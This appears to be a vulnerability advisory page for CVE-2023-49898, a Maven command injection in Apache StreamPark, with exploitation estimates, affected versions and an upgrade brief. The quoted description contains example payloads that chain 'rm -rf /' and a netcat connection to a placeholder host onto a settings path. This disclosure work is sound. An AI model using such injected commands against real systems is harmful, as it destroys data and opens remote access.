Apache StreamPark: Authenticated system users could trigger remote command execution

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

not scored

EPSS

• CVE-2023-49898: 2.30% estimated exploitation activity in the next 30 days; percentile 83.31 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf / /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Published by the source

15 Dec 2023, 15:30 UTC

Last modified by the source

16 Dec 2023, 00:46 UTC

Source last checked

26 Oct 2026, 16:21 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-qg44-xqwj-wc28

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: CVE-2023-49898

Advisory: Apache StreamPark: Authenticated system users could trigger remote command execution
IDs: CVE-2023-49898, GHSA-qg44-xqwj-wc28
Record: https://patchnext.com/advisories/cve-2023-49898 (revision 1, source checked 26 Oct 2026, 16:21 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: org.apache.streampark:streampark 2.1.2. A vendor fix does not mean a deployment is fixed.

## Affected components
- Maven org.apache.streampark:streampark: affected >= 2.0.0, < 2.1.2; fixed in 2.1.2

## Suggested inspection (read-only)
- Maven org.apache.streampark:streampark: check the installed version with your package manager.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on org.apache.streampark:streampark.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-qg44-xqwj-wc28 (GitHub-reviewed advisory GHSA-qg44-xqwj-wc28 lists affected ranges: Maven org.apache.streampark:streampark >=2.0.0 <2.1.2)

Commands are suggestions: review each one before running it.